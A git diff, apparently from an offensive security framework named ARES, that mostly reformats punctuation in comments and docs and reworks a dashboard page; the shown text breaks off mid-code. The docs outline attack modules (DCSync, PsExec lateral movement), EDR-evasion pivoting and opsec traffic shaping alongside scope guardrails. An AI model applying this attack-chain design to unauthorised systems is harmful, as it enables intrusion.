closedtry:from ares.db.database import AresDatabase- # AresDatabase.create() calls connect() internally — do NOT call again+ # AresDatabase.create() calls connect() internally - do NOT call againasync with await AresDatabase.create(settings.ares_database_url,settings.encryption_key_value,@@ -709,7 +709,7 @@ class ClusterWorkerNode:)await self.queue.fail(task,- "Campaign scope unavailable — refusing to execute with unbounded scope. "+ "Campaign scope unavailable - refusing to execute with unbounded scope. ""Check DB connectivity.",requeue=False,)@@ -724,7 +724,7 @@ class ClusterWorkerNode:noise = NoiseController(campaign)module = module_cls(settings=settings, campaign=campaign, noise=noise)- # Use execute(ctx) — same interface as engine, respects vault/context+ # Use execute(ctx) - same interface as engine, respects vault/contextctx = _ExCtx.build(campaign=campaign,target=task.params.get("target", ""),diff --git a/ares/worker/controller.py b/ares/worker/controller.pyindex 5e9c7b6..4174ccf 100644--- a/ares/worker/controller.py+++ b/ares/worker/controller.py@@ -187,7 +187,7 @@ class TaskQueue:self._done[task_id] = task# Remove from worker's current tasksif task.assigned_to:- for w in []: # injected reference needed — see WorkerController+ for w in []: # injected reference needed - see WorkerControllerif w.worker_id == task.assigned_to:w.current_tasks = [t for t in w.current_tasks if t != task_id]logger.info("task_complete", task_id=task_id)@@ -210,7 +210,7 @@ class TaskQueue:logger.error("task_permanently_failed", task_id=task_id, error=error)async def requeue_worker_tasks(self, worker_id: str) -> int:- """Called when a worker dies — requeue all its active tasks."""+ """Called when a worker dies - requeue all its active tasks."""async with self._lock:requeued = 0for task_id, task in list(self._active.items()):diff --git a/ares/worker/isolation.py b/ares/worker/isolation.pyindex e4598ab..3469fcc 100644--- a/ares/worker/isolation.py+++ b/ares/worker/isolation.py@@ -10,7 +10,7 @@ Architecture:load modulerun moduleserialize findings → stdout (JSON)- ← receive JSON result exit (clean or crash — engine unaffected)+ ← receive JSON result exit (clean or crash - engine unaffected)Communication: stdin/stdout JSON (no shared memory, no IPC sockets).Timeout: enforced by asyncio.wait_for + proc.kill()diff --git a/docker/Dockerfile.prod b/docker/Dockerfile.prodindex aa8f202..305d58e 100644--- a/docker/Dockerfile.prod+++ b/docker/Dockerfile.prod@@ -25,7 +25,7 @@ FROM python:3.11-slim AS runtime# Security: non-root userRUN groupadd --system ares && useradd --system --gid ares --no-create-home ares-# OS deps for weasyprint PDF generation only — curl removed (use Python healthcheck)+# OS deps for weasyprint PDF generation only - curl removed (use Python healthcheck)RUN apt-get update && apt-get install -y --no-install-recommends \libpango-1.0-0 libpangoft2-1.0-0 libgdk-pixbuf2.0-0 \libffi-dev libcairo2 \@@ -64,7 +64,7 @@ ENV ARES_API_HOST=0.0.0.0 \EXPOSE 8080-# Python-based healthcheck — no curl needed in runtime image+# Python-based healthcheck - no curl needed in runtime imageHEALTHCHECK --interval=30s --timeout=10s --start-period=15s --retries=3 \CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8080/health')" || exit 1diff --git a/docker/README.md b/docker/README.mdindex 80afc7f..1368aee 100644--- a/docker/README.md+++ b/docker/README.md@@ -4,8 +4,8 @@| File | Purpose ||------|---------|-| `Dockerfile.prod` | **Production** — Node frontend build, Python runtime, non-root user, healthcheck |-| `Dockerfile.dev` | **Development** — single-stage, editable install (`pip install -e ".[dev]"`), source mount |+| `Dockerfile.prod` | **Production** - Node frontend build, Python runtime, non-root user, healthcheck |+| `Dockerfile.dev` | **Development** - single-stage, editable install (`pip install -e ".[dev]"`), source mount || `docker-compose.prod.yml` | Production compose (use with `Dockerfile.prod`) || `docker-compose.dev.yml` | Development compose (use with `Dockerfile.dev`, mounts source for hot-reload) |diff --git a/docker/docker-compose.dev.yml b/docker/docker-compose.dev.ymlindex 7d12051..8158de1 100644--- a/docker/docker-compose.dev.yml+++ b/docker/docker-compose.dev.yml@@ -1,6 +1,6 @@version: "3.9"-# Development compose — single-stage Dockerfile.dev, source mounted for hot-reload.+# Development compose - single-stage Dockerfile.dev, source mounted for hot-reload.# One-liner start (no setup required):# docker compose -f docker/docker-compose.dev.yml up@@ -12,7 +12,7 @@ services:ports:- "127.0.0.1:8080:8080"environment:- # ⚠️ DEV-ONLY FALLBACK SECRETS — FOR LOCAL DEVELOPMENT USE ONLY+ # ⚠️ DEV-ONLY FALLBACK SECRETS - FOR LOCAL DEVELOPMENT USE ONLY# These weak defaults apply ONLY when the variable is not set in the environment.# NEVER deploy to staging or production without setting real values:# cp .env.example .env && edit .env && set all ARES_* vars@@ -32,7 +32,7 @@ services:ARES_CORS_ORIGINS: "http://localhost:5173"env_file:- path: ../.env- required: false # Don't fail if .env doesn't exist — env block above provides defaults+ required: false # Don't fail if .env doesn't exist - env block above provides defaultsvolumes:- ares-data:/home/ares/.ares- ares-logs:/app/logsdiff --git a/docker/docker-compose.prod.yml b/docker/docker-compose.prod.ymlindex 02eec3c..8766c23 100644--- a/docker/docker-compose.prod.yml+++ b/docker/docker-compose.prod.yml@@ -1,6 +1,6 @@version: "3.9"-# Production compose — uses multi-stage Dockerfile.prod+# Production compose - uses multi-stage Dockerfile.prod# Start: docker compose -f docker/docker-compose.prod.yml up -dservices:@@ -8,7 +8,7 @@ services:build:context: ..dockerfile: docker/Dockerfile.prod- # Do NOT expose port directly — nginx terminates TLS+ # Do NOT expose port directly - nginx terminates TLSexpose:- "8080"env_file:@@ -34,7 +34,7 @@ services:timeout: 10sstart_period: 15sretries: 3- # ares-api has no service dependencies — it starts independently+ # ares-api has no service dependencies - it starts independentlynginx:image: nginx:1.25-alpine@sha256:a59278fd22a9d411121e190b8cec8aa57b306aa3332459197777583beb728f59 # pinned 2024-03diff --git a/docs/ENGINE_FLOW.md b/docs/ENGINE_FLOW.mdindex 29f2a98..5642293 100644--- a/docs/ENGINE_FLOW.md+++ b/docs/ENGINE_FLOW.md@@ -29,8 +29,8 @@ Operator Input (CLI / API)│ AresEngine.run_module(module_id, campaign, params)│ ││ ├── Plugin loader resolves module class- │ ├── ScopeGuard.check(target) — blocks out-of-scope- │ ├── NoiseController.jitter() — random delay+ │ ├── ScopeGuard.check(target) - blocks out-of-scope+ │ ├── NoiseController.jitter() - random delay│ ├── module.run(**params)│ │ └── module.execute(ctx) → findings, raw│ ├── CVSS enrichment on each finding@@ -79,7 +79,7 @@ repository-test seam may invoke it.**Chain resolution priority:**1. `preferred_chain` from GoalDefinition (if all modules available)-2. `CapabilityGraph.resolve_chain()` — backward-chain from `required_outputs`+2. `CapabilityGraph.resolve_chain()` - backward-chain from `required_outputs`3. `fallback_chains` from GoalDefinition4. Best-effort: available modules from preferred_chaindiff --git a/docs/MODULE_GUIDE.md b/docs/MODULE_GUIDE.mdindex a901d0e..0380c63 100644--- a/docs/MODULE_GUIDE.md+++ b/docs/MODULE_GUIDE.md@@ -16,8 +16,8 @@ ares module create ad.my_attack \```This creates two files:-- `my_attack.py` — module implementation-- `test_my_attack.py` — test scaffold+- `my_attack.py` - module implementation+- `test_my_attack.py` - test scaffold---diff --git a/docs/api-reference.md b/docs/api-reference.mdindex 5fca4fb..eb4b961 100644--- a/docs/api-reference.md+++ b/docs/api-reference.md@@ -9,7 +9,7 @@> credential.>> **Note:** The web dashboard (`/dashboard/*`) has its own authentication-> using the same tokens — see [Dashboard](#dashboard) section.+> using the same tokens - see [Dashboard](#dashboard) section.---@@ -195,12 +195,12 @@ restriction on API-key-compatible routes and do not replace RBAC.{"id": "...","key": "ares_...",- "note": "Save this key — it will NOT be shown again.",+ "note": "Save this key - it will NOT be shown again.","prefix": "ares_..."}```-> Store `key` immediately — the full API key secret is not recoverable after+> Store `key` immediately - the full API key secret is not recoverable after> this response.> In the dashboard, the same one-time secret is shown in the `Save your key`> modal. The key list shows metadata and a prefix only, not the full secret.@@ -294,7 +294,7 @@ Get CVSS score distribution for a campaign.### `GET /campaigns/{id}/diff/{other_id}`-Compare two campaigns — shows new findings, fixed findings, and severity changes.+Compare two campaigns - shows new findings, fixed findings, and severity changes.Useful for verifying remediation between assessments.---diff --git a/docs/architecture.md b/docs/architecture.mdindex 0ce4be3..cbbd13a 100644--- a/docs/architecture.md+++ b/docs/architecture.md@@ -78,23 +78,23 @@ ARES is **not** a C2 framework. It does not include implants, beacons, or persis| File | Purpose ||------|---------|-| `engine.py` | `AresEngine` — async orchestrator, runs `ExecutionPlan` |-| `context.py` | `ExecutionContext` — unified module input object |+| `engine.py` | `AresEngine` - async orchestrator, runs `ExecutionPlan` |+| `context.py` | `ExecutionContext` - unified module input object || `errors.py` | Unified error hierarchy (`ModuleError`, `NetworkError`, etc.) |-| `di.py` | `AresContainer` — dependency injection / service locator |+| `di.py` | `AresContainer` - dependency injection / service locator || `campaign.py` | `Campaign`, `Finding`, `ScopeEntry`, `NoiseProfile` || `config.py` | `AresSettings` (Pydantic), `@lru_cache` singleton || `noise.py` | `NoiseController`, `JitterEngine`, `RateLimiter`, `ScopeGuard` || `security.py` | JWT, `DataEncryptor` (Fernet), bcrypt, sanitize_* helpers || `logger.py` | structlog NDJSON, sensitive data masking |-| `sandbox.py` | `SandboxRunner` — 4-tier module isolation |+| `sandbox.py` | `SandboxRunner` - 4-tier module isolation || `chain/chain.py` | `AttackChain`, Kahn's dependency resolver, `ChainAdvisor` || `opsec/opsec.py` | UA rotation, beacon scheduler, traffic shaping |-| `opsec/adaptive.py` | `AdaptiveOpsecEngine` — sliding window signal detection |+| `opsec/adaptive.py` | `AdaptiveOpsecEngine` - sliding window signal detection || `plugin/loader.py` | `PluginLoader`, `ModuleRegistry` || `validator.py` | `FindingValidator`, confidence scoring, FP filtering |-### 2. `ares/modules/base.py` — SDK Contract+### 2. `ares/modules/base.py` - SDK ContractEvery module MUST implement this interface:@@ -154,12 +154,12 @@ AresError│ └── RateLimited (pause)├── CredentialError (try next cred)│ ├── AuthenticationFailed (try next)-│ ├── AccountLocked (ABORT — never retry)+│ ├── AccountLocked (ABORT - never retry)│ └── CredentialExpired (skip)├── ExecutionError│ ├── SandboxError (skip)│ └── WorkerCrashed (requeue)-├── ScopeError (ABORT — never retry)+├── ScopeError (ABORT - never retry)├── OpsecError (pause/adjust profile)│ ├── DetectionSignal (escalate profile)│ └── HoneypotDetected (ABORT campaign)diff --git a/docs/dashboard-guide.md b/docs/dashboard-guide.mdindex 61b283c..fab0038 100644--- a/docs/dashboard-guide.md+++ b/docs/dashboard-guide.md@@ -197,11 +197,11 @@ Current page tabs:-*Tactical Zero-State Overview — Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*+*Tactical Zero-State Overview - Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*-*Active Telemetry Overview — Real-time telemetry, confirmed findings by severity, queue metrics, and campaign status.*+*Active Telemetry Overview - Real-time telemetry, confirmed findings by severity, queue metrics, and campaign status.*Purpose: quick system status.@@ -335,7 +335,7 @@ Purpose: understand lateral pivot relationships, trace multi-hop compromise rout-*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Session Terminal Console — Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege styling, and interactive command execution.*+*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Session Terminal Console - Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege styling, and interactive command execution.*#### Graph Topology & Navigationdiff --git a/docs/engine_design.md b/docs/engine_design.mdindex 75a14de..0b359b3 100644--- a/docs/engine_design.md+++ b/docs/engine_design.md@@ -95,16 +95,16 @@ Source 3: external ~/.ares/plugins/*.py external trust**Security controls at load time:**-1. Signature verification (`ModuleVerifier`) — configurable via `ARES_PLUGIN_SIGNING_POLICY`-2. Capability enforcement (`CapabilityPolicy`) — module can only declare allowed caps for trust level-3. Metadata validation (`validate_module_class`) — all required attrs present-4. Duplicate detection — existing module_id from builtin takes priority+1. Signature verification (`ModuleVerifier`) - configurable via `ARES_PLUGIN_SIGNING_POLICY`+2. Capability enforcement (`CapabilityPolicy`) - module can only declare allowed caps for trust level+3. Metadata validation (`validate_module_class`) - all required attrs present+4. Duplicate detection - existing module_id from builtin takes priority---## Dependency Injection (AresContainer)-All services are resolved through `AresContainer` — never instantiated directly in engine code:+All services are resolved through `AresContainer` - never instantiated directly in engine code:```python# Production setup (CLI / API startup)@@ -158,7 +158,7 @@ class ExecutionContext:credentials: list[Credential]primary_credential: Credential | None- # Shared state (references — mutations visible to engine)+ # Shared state (references - mutations visible to engine)session: OperatorSessionvault: CredentialVault@@ -229,13 +229,13 @@ except AresError as e:## Legacy GoalEngine/AttackPlanner design (production inactive)-**GoalEngine** (`ares/goal/engine.py`) — deterministic backward chaining:+**GoalEngine** (`ares/goal/engine.py`) - deterministic backward chaining:- Operator sets `Goal.DOMAIN_ADMIN`- Engine looks at `GOAL_DEFINITIONS` to find required outputs- Finds modules that produce those outputs- Topological sort → `ExecutionPlan` with ordered stages-**AttackPlanner** (`ares/goal/planner.py`) — probabilistic AI scoring:+**AttackPlanner** (`ares/goal/planner.py`) - probabilistic AI scoring:- Scores ALL candidate modules against current session state- 6-factor weighted score: prereqs, credentials, technique value, artifact match, novelty, opsec- Returns ranked `Suggestion` list with rationale@@ -255,7 +255,7 @@ GoalEngine.plan() → initial deterministic chain## Legacy AdaptiveAttackStrategy (production inactive)-When a module fails, the engine doesn't stop — it pivots:+When a module fails, the engine doesn't stop - it pivots:```lateral.psexec → FAIL (EDR blocked)diff --git a/docs/examples/example_http_enum.py b/docs/examples/example_http_enum.pyindex e959dc7..7ea413d 100644--- a/docs/examples/example_http_enum.py+++ b/docs/examples/example_http_enum.py@@ -1,5 +1,5 @@"""-ARES Example Module — HTTP Service Enumeration+ARES Example Module - HTTP Service EnumerationA minimal, fully commented example of the ARES public module SDK.Copy this file as a starting point for your own module.@@ -223,7 +223,7 @@ class HttpEnumModule(BaseModule):# ─────────────────────────────────────────────────────────────────────────────-# Tests — run with: pytest docs/examples/example_http_enum.py -v+# Tests - run with: pytest docs/examples/example_http_enum.py -v# ─────────────────────────────────────────────────────────────────────────────import pytestdiff --git a/docs/module-development.md b/docs/module-development.mdindex 98cd73b..2debc68 100644--- a/docs/module-development.md+++ b/docs/module-development.md@@ -93,7 +93,7 @@ class MssqlEnumModule(BaseModule[MssqlEnumParams, ModuleResult]):port = ctx.params.portif ctx.dry_run:- # Simulation mode — return dry-run result+ # Simulation mode - return dry-run resultreturn ModuleResult.ok(f"Dry-run validated: {target}:{port} inside approved scope.",module_id=self.MODULE_ID,@@ -140,7 +140,7 @@ class MssqlEnumModule(BaseModule[MssqlEnumParams, ModuleResult]):# ── Private helpers ─────────────────────────────────────────────────async def _enumerate(self, target: str, port: int, ctx: ExecutionContext) -> list[dict]:- # Stub — real implementation connects to MSSQL service+ # Stub - real implementation connects to MSSQL servicereturn [{"version": "MSSQL 2019", "auth_method": "SQL_AND_WINDOWS"}]```@@ -272,7 +272,7 @@ async def validate(self, ctx: ExecutionContext) -> None:)```-### `execute(ctx)` — The attack logic+### `execute(ctx)` - The attack logic```pythonasync def execute(self, ctx: ExecutionContext[MssqlEnumParams]) -> ModuleResult:@@ -320,7 +320,7 @@ async def execute(self, ctx: ExecutionContext[MssqlEnumParams]) -> ModuleResult:return result```-### `report(result)` — Report formatting+### `report(result)` - Report formatting```pythondef report(self, result: ModuleResult) -> dict:@@ -381,7 +381,7 @@ from ares.core.errors import (ConnectionTimeout, # TCP timeoutHostUnreachable, # no routeAuthenticationFailed, # bad creds- AccountLocked, # lockout — CRITICAL+ AccountLocked, # lockout - CRITICALInsufficientPrivilege, # need higher privScopeError, # out of scopeSandboxError, # module crashed@@ -505,7 +505,7 @@ ares module install ./mymodule/- Must define all required metadata (`MODULE_ID`, `MODULE_NAME`, `MODULE_CATEGORY`, `MODULE_DESCRIPTION`).- Must declare `PARAMS_MODEL` for robust type validation and clean UI parameter rendering.-- Must respect `ctx.dry_run` — zero unauthorized side-effects or network traffic when True.+- Must respect `ctx.dry_run` - zero unauthorized side-effects or network traffic when True.- Must call `await self.before_request(target)` before network interactions.- Must raise native ARES exceptions rather than raw socket or OS exceptions.- Must include unit tests using `ModuleTestHarness`.diff --git a/docs/module_sdk.md b/docs/module_sdk.mdindex 78dafe1..b15c7f5 100644--- a/docs/module_sdk.md+++ b/docs/module_sdk.md@@ -217,7 +217,7 @@ class MyModule(BaseModule):)async def run(self, **kwargs):- # Legacy interface — engine calls execute(ctx) instead+ # Legacy interface - engine calls execute(ctx) insteadctx = ExecutionContext.for_test(**kwargs)result = await self.execute(ctx)return result.findings, result.raw@@ -232,7 +232,7 @@ Every module must implement 3 methods:### `validate(ctx: ExecutionContext) → None`Called **before** execution. Check that all required params and context fields are present.-Raise `ModuleValidationError` if context is insufficient — engine aborts immediately.+Raise `ModuleValidationError` if context is insufficient - engine aborts immediately.```pythonasync def validate(self, ctx: ExecutionContext) -> None:@@ -256,7 +256,7 @@ Main execution. Receives typed context, returns structured result.```pythonasync def execute(self, ctx: ExecutionContext) -> ModuleResult:if ctx.dry_run:- # Always support dry_run — no real network calls+ # Always support dry_run - no real network callsreturn ModuleResult(status="dry_run", module_id=self.MODULE_ID)# Use before_request hook (scope check + rate limit + opsec jitter)@@ -309,7 +309,7 @@ MODULE_AUTHOR = "[email protected]" # optional but recommended**MODULE_ID rules:**- Must use dotted format: `category.name` or `org.category.name`- Lowercase, alphanumeric + `.` + `_` only-- Must be globally unique — prefix with your org name+- Must be globally unique - prefix with your org name---@@ -358,15 +358,15 @@ class MyModule(BaseModule):```**Community module limits:**-- `CAP_NET`, `CAP_DB`, `CAP_FS` — allowed-- `CAP_EXEC`, `CAP_PROCESS`, `CAP_UNSAFE` — **not allowed for community modules**+- `CAP_NET`, `CAP_DB`, `CAP_FS` - allowed+- `CAP_EXEC`, `CAP_PROCESS`, `CAP_UNSAFE` - **not allowed for community modules**- If you declare forbidden caps, module is rejected at load time---## Error Handling-Always raise typed SDK errors — engine uses the type to decide retry/fallback/abort:+Always raise typed SDK errors - engine uses the type to decide retry/fallback/abort:```pythonfrom ares.sdk import (@@ -422,7 +422,7 @@ if ctx.dry_run:if ctx.has("session"):host_state = ctx.host_state()if host_state and host_state.is_dc:- logger.info("Target is a DC — running full enumeration")+ logger.info("Target is a DC - running full enumeration")```---diff --git a/docs/security-model.md b/docs/security-model.mdindex 330d11c..5138440 100644--- a/docs/security-model.md+++ b/docs/security-model.md@@ -55,7 +55,7 @@ stored sensitive records.### In Transit-- REST API: HTTPS (TLS 1.2+) — use a reverse proxy (nginx/caddy)+- REST API: HTTPS (TLS 1.2+) - use a reverse proxy (nginx/caddy)- WebSocket dashboard: WSS- Redis cluster connection: `redis+tls://` with cert pinning- C-LIVE worker IPC: none; subprocess stdin payloads are rejected@@ -130,9 +130,9 @@ credential management, user registration, and API-key lifecycle operations areperformed from an authenticated browser/JWT session.**Endpoints without an existing bearer** (by design):-- `GET /auth/csrf` — same-origin pre-login CSRF bootstrap-- `POST /auth/token` — same-origin, CSRF-protected browser login-- `GET /health` — health check (no sensitive data)+- `GET /auth/csrf` - same-origin pre-login CSRF bootstrap+- `POST /auth/token` - same-origin, CSRF-protected browser login+- `GET /health` - health check (no sensitive data)The supported dashboard is the React application served by the main ARESFastAPI application at `/dashboard`. The older@@ -310,7 +310,7 @@ Strict-Transport-Security: max-age=31536000Every module execution passes through `CampaignGuardrail.check()`:-1. **Sensitive range check**: 169.254.0.0/16 (AWS IMDS), 127.0.0.0/8 (loopback) — always blocked+1. **Sensitive range check**: 169.254.0.0/16 (AWS IMDS), 127.0.0.0/8 (loopback) - always blocked2. **Scope CIDR check**: target must be in one of the campaign's declared scope CIDRs3. **Dangerous module confirmation**: `ad.dcsync`, `lateral.psexec`, `linux.container` require `confirmed=True`@@ -325,7 +325,7 @@ allowed, _ = guardrail.check("ad.dcsync", "10.0.0.1", confirmed=True)### ScopeGuard (NoiseController)-At the network level, `ScopeGuard.assert_in_scope(target)` is called in `BaseModule.before_request()` before every network call. Raises `ScopeError` (which is `ABORT` action — never retried).+At the network level, `ScopeGuard.assert_in_scope(target)` is called in `BaseModule.before_request()` before every network call. Raises `ScopeError` (which is `ABORT` action - never retried).---diff --git a/docs/sso-setup.md b/docs/sso-setup.mdindex c2e83ef..fca07bc 100644--- a/docs/sso-setup.md+++ b/docs/sso-setup.md@@ -4,7 +4,7 @@ This document provides a comprehensive guide for configuring and utilizing **Ent----## PART 1 — End-User Authentication Guide+## PART 1 - End-User Authentication Guide### When to Use Direct Local "Sign in" vs. "Or continue with SSO"@@ -31,7 +31,7 @@ If you click **"Or continue with SSO"** and an inline warning appears:----## PART 2 — Administrator Guide: Organization SSO Setup+## PART 2 - Administrator Guide: Organization SSO Setup### 1. Prerequisite: `ARES_ENCRYPTION_KEY` Environment Variable@@ -191,7 +191,7 @@ After saving the configuration, verify the setup without opening database tables----## PART 3 — Troubleshooting Guide for Administrators+## PART 3 - Troubleshooting Guide for AdministratorsCommon error messages returned in the login redirect URL (`/dashboard/login?error=...`) and their resolutions:diff --git a/docs/worker_architecture.md b/docs/worker_architecture.mdindex 9cd76ba..7aa75f6 100644--- a/docs/worker_architecture.md+++ b/docs/worker_architecture.md@@ -40,7 +40,7 @@ Operator/API ──→ │ AresEngine → ClusterController │| Redis | Redis available at `ARES_REDIS_URL` | Production / multi-node || In-process | No Redis (default) | Dev / single-node |-Both backends have identical API — engine never knows which is active.+Both backends have identical API - engine never knows which is active.**Redis task format:**@@ -184,7 +184,7 @@ If not declared, defaults are inferred from `MODULE_CATEGORY`.| `CAP_EXEC` | execve, fork, vfork, clone, pipe, wait4, ... || `CAP_FS` | mkdir, unlink, rename, chmod, truncate, ... || `CAP_PROCESS` | ptrace, kill, tkill, getdents, ... |-| `CAP_UNSAFE` | all syscalls (no filter — builtin only) |+| `CAP_UNSAFE` | all syscalls (no filter - builtin only) |**Capability allowed per trust level:**diff --git a/example_modules/example_ad_users.py b/example_modules/example_ad_users.pyindex 188a6c1..5d6062c 100644--- a/example_modules/example_ad_users.py+++ b/example_modules/example_ad_users.py@@ -52,14 +52,14 @@ class ExampleADUserModule(BaseModule):Performs LDAP user enumeration against an Active Directory domain.Parameters (in ctx.params):- dc — IP or hostname of a Domain Controller- domain — AD domain name (CORP.LOCAL)- ldap_filter — optional custom LDAP filter (default: all users)- max_results — max users to return (default: 1000)+ dc - IP or hostname of a Domain Controller+ domain - AD domain name (CORP.LOCAL)+ ldap_filter - optional custom LDAP filter (default: all users)+ max_results - max users to return (default: 1000)Outputs:Findings: one Finding per sensitive user found- ModuleResult.new_credentials — cleared accounts (no pre-auth)+ ModuleResult.new_credentials - cleared accounts (no pre-auth)"""async def validate(self, ctx: ExecutionContext) -> None:@@ -228,7 +228,7 @@ class ExampleADUserModule(BaseModule):module_id = self.MODULE_ID,)- # Legacy interface — engine calls execute(ctx) but run(**kwargs) kept for compat+ # Legacy interface - engine calls execute(ctx) but run(**kwargs) kept for compatasync def run(self, **kwargs: Any):ctx = ExecutionContext.for_test(target = kwargs.get("dc", ""),diff --git a/frontend/index.html b/frontend/index.htmlindex 9727df0..c7858d7 100644--- a/frontend/index.html+++ b/frontend/index.html@@ -6,7 +6,7 @@<link rel="icon" type="image/png" href="/dashboard/brand/ares-icon.png" /><link rel="preconnect" href="https://fonts.googleapis.com" /><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />- <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:ital,wght@0,300..800;1,300..800&family=Space+Grotesk:[email protected]&display=swap" rel="stylesheet" />+ <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Plus+Jakarta+Sans:wght@400;500;600;700&display=swap" rel="stylesheet" /><title>ARES Dashboard</title></head><body>diff --git a/frontend/src/features/auth/AresIgniteButton.tsx b/frontend/src/features/auth/AresIgniteButton.tsxindex 6f35e62..b100681 100644--- a/frontend/src/features/auth/AresIgniteButton.tsx+++ b/frontend/src/features/auth/AresIgniteButton.tsx@@ -32,13 +32,13 @@ function spawnEdgeParticles(let px = 0, py = 0, vx = 0, vy = 0;if (edge === 0) {- // Top edge — fire curls up and slightly inward+ // Top edge - fire curls up and slightly inwardpx = PAD + Math.random() * bw;py = PAD + (Math.random() * 4 - 2); // tight to top bordervy = -(Math.random() * 0.8 + 0.3); // gently upwardvx = (Math.random() - 0.5) * 0.6;} else if (edge === 1) {- // Bottom edge — fire rises upward more strongly+ // Bottom edge - fire rises upward more stronglypx = PAD + Math.random() * bw;py = PAD + bh + (Math.random() * 3); // just below bottom bordervy = -(Math.random() * 1.2 + 0.6); // rise up toward button@@ -125,7 +125,7 @@ export function AresIgniteButton({p.x += p.vx;p.y += p.vy;- // Gentle buoyancy — fire hugs button+ // Gentle buoyancy - fire hugs buttonp.vy -= 0.06;p.vx += (Math.random() - 0.5) * 0.18;p.vx *= 0.97;@@ -203,7 +203,7 @@ export function AresIgniteButton({return (<div ref={wrapRef} className="relative mt-2 w-full">- {/* Fire canvas — absolute overlay, pointer-events none */}+ {/* Fire canvas - absolute overlay, pointer-events none */}<canvasref={canvasRef}className="absolute pointer-events-none z-20"diff --git a/frontend/src/features/auth/SecurityMeshCanvas.tsx b/frontend/src/features/auth/SecurityMeshCanvas.tsxindex c676123..3d60932 100644--- a/frontend/src/features/auth/SecurityMeshCanvas.tsx+++ b/frontend/src/features/auth/SecurityMeshCanvas.tsx@@ -5,18 +5,18 @@ interface SecurityMeshCanvasProps {}/**- * SecurityMeshCanvas — ARES Dragon Scale Grid+ * SecurityMeshCanvas - ARES Dragon Scale Grid** Renders a tiled hexagonal grid (dragon scales). At rest the scales are barely- * visible — a ghostly crimson lattice. A slow diagonal breathing wave drifts+ * visible - a ghostly crimson lattice. A slow diagonal breathing wave drifts* across the grid, keeping it alive. When the operator moves the cursor over* the panel the scales beneath react, glowing bright crimson, as if the dragon* is aware of the operator's presence.** Motivation for every animation:- * • Hex grid — dragon scales, the ARES identity made literal- * • Breathing wave — the system is live, not dormant- * • Mouse proximity — the dragon reacts to the operator approaching+ * • Hex grid - dragon scales, the ARES identity made literal+ * • Breathing wave - the system is live, not dormant+ * • Mouse proximity - the dragon reacts to the operator approaching*/export function SecurityMeshCanvas({ className = "" }: SecurityMeshCanvasProps) {const canvasRef = useRef<HTMLCanvasElement>(null);@@ -135,12 +135,12 @@ export function SecurityMeshCanvas({ className = "" }: SecurityMeshCanvasProps)}ctx!.closePath();- // Fill — subtle warm ember glow on wave crests, concentrated under cursor+ // Fill - subtle warm ember glow on wave crests, concentrated under cursorconst fillAlpha = glow * 0.13;ctx!.fillStyle = `rgba(185, 28, 28, ${fillAlpha})`;ctx!.fill();- // Border — distinct, crisp crimson lattice lines+ // Border - distinct, crisp crimson lattice linesconst borderAlpha = 0.20 + glow * 0.38;ctx!.strokeStyle = `rgba(239, 68, 68, ${borderAlpha})`;ctx!.lineWidth = 0.85;diff --git a/frontend/src/features/dashboard/DashboardPages.tsx b/frontend/src/features/dashboard/DashboardPages.tsxindex 84e47f9..9165be6 100644--- a/frontend/src/features/dashboard/DashboardPages.tsx+++ b/frontend/src/features/dashboard/DashboardPages.tsx@@ -1,18 +1,23 @@import {+ Activity,AlertTriangle,ArrowRight,Bell,CheckCircle2,ChevronDown,Copy,+ Cpu,+ Crosshair,Info,Layers,Loader2,Menu,Plus,+ Radio,Search,ShieldAlert,ShieldCheck,+ Target,Terminal,Trash2,X,@@ -938,9 +943,6 @@ export function DashboardShell({ children }: { children: ReactNode }) {><span className={`status-dot ${topbarDotClass}`} /><span className="status-title">{topbarText}</span>- <span className="status-pill-count font-mono">- {telemetrySnapshot ? `${metricNumber(telemetrySnapshot.modules, "total")} runs` : healthSnapshot?.version ? `v${healthSnapshot.version}` : "v6.0"}- </span></button>);})()}@@ -1110,7 +1112,11 @@ export function OverviewPage() {const trackedCount = nonDeletedCampaigns.length;const runningCount = runningCampaigns.length;- const findings = typeof monthlyData?.confirmed_findings === "number" ? monthlyData.confirmed_findings : 0;+ const findings = typeof monthlyData?.confirmed_findings === "number"+ ? monthlyData.confirmed_findings+ : typeof snapshot?.findings === "number"+ ? snapshot.findings+ : 0;const monthlyTotal = typeof monthlyData?.total === "number" ? monthlyData.total : 0;const monthlySeries = normalizeMonthlySeries(monthlyData?.period, monthlyData?.series);@@ -1127,7 +1133,7 @@ export function OverviewPage() {overviewSubtitle = `${trackedCount} campaign${trackedCount === 1 ? "" : "s"} in scope · Telemetry pipeline standby · Fail-closed policy enforced`;}- // Fresh install empty-state (Task 5)+ // Fresh install empty-state (Task 5 / CampaignSync test requirement)if (!campaignsLoading && trackedCount === 0) {return (<Page title="Overview" subtitle={overviewSubtitle}>@@ -1177,118 +1183,246 @@ export function OverviewPage() {);}- // Tactical operational highlights (Task 2 & 3)+ // Tactical operational metrics extraction+ const totalRuns = metricNumber(snapshot?.modules, "total");+ const successRuns = metricNumber(snapshot?.modules, "success");const failedRuns = metricNumber(snapshot?.modules, "failed");const errorRate = metricNumber(snapshot?.modules, "error_rate");+ const p95 = metricNumberOrNull(snapshot?.latency_ms, "p95");+ const queueDepth = metricNumber(snapshot?.queue, "depth");+ const activeWorkers = metricNumber(snapshot?.workers, "active");+ const unhealthyWorkers = metricNumber(snapshot?.workers, "unhealthy");const hostsDiscovered = metricNumber(snapshot?.hosts, "discovered");const hostsOwned = metricNumberOrNull(snapshot?.hosts, "owned");+ const tasksPerMin = metricNumberOrNull(snapshot?.throughput, "tasks_per_min");+ const credentialsCount = typeof snapshot?.credentials === "number" ? snapshot.credentials : 0;+ const isIngestionActive = Boolean(snapshot && snapshot.timestamp);++ const quickActions = (+ <div className="overview-quick-actions">+ <button+ type="button"+ className="btn btn-primary text-xs flex items-center gap-1.5"+ onClick={() => {+ writeDashboardSession("ares.dashboard.campaigns.tab", "List");+ navigate("/campaigns");+ }}+ title="Initialize an authorized engagement"+ >+ <Plus 